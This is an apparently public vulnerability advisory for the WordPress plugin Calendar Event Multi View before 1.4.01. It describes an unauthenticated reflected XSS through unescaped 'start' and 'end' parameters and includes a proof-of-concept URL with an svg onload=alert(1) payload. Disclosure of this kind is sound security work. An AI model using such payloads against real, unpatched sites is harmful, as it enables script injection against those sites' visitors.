WordPress Plugin Vulnerabilities

Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

Proof of Concept

https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22
&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22

Affects Plugins

Fixed in 1.4.01

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
iohex
Submitter
iohex
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-07-05 (about 2 years ago)
Added
2021-07-05 (about 2 years ago)
Last Updated
2021-08-10 (about 2 years ago)

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